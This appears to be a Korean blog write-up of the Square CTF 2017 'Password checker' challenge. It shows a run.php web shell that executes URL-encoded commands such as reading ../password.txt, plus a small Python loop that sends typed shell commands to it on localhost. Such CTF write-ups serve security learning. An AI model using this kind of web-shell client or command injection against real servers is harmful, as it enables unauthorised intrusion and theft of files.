본문 바로가기
CTF

[Square CTF 2017] Password checker

by skyepodium 2022. 6. 12.

1. 개요

웹쉘 문제, 리눅스 명령어 문제

 

 

문제링크

도커 컨테이너 실행

docker run --rm -p 8080:8080 squarectf/pwd_checker

 

2. 분석

1) 코드

접속하면 화면이 나오고, 코드를 보면,  다음과 같이 리눅스 명령어를 url 인코딩해서, 서버로 보내고 있습니다. 

 

웹셀로 시스템콜을 사용할 수 있습니다.

  let xmlHttp = new XMLHttpRequest();
  xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false);
  xmlHttp.send(null);
  let actualValue = xmlHttp.responseText;

 

2) 한줄

문제는, 시스템 콜 결과가 가장 뒤의 한줄만 보인다는 것입니다.

http://localhost:8080/run.php?cmd=cat%20run.php

조금 귀찮아져서 웹셀을 파이썬으로 만들고 사용했습니다.

 

3. exploit

from urllib import parse
import requests

def parse_cmd(cmd):
    return parse.quote(cmd, encoding='utf-8')

def request(cmd):
    return requests.get(f"http://localhost:8080/run.php?cmd={parse.quote(cmd, encoding='utf-8')}")

if __name__ == '__main__':
    while True:
        r = request(input())
        print('r', r.text, '\n')

 

대회가 종료되서 flag는 조금 다른 것 같습니다. flag-good-job!

'CTF' 카테고리의 다른 글

[pico CTF] plumbing  (0) 2022.06.12
[Square CTF 2017] little-doggy-tables  (0) 2022.06.12
[Square CTF 2021] Huge Primes  (0) 2022.06.12
[Grey Cat The Flag 2022] Too Fast  (0) 2022.06.11
[HSCTF 9] vending-machine  (0) 2022.06.11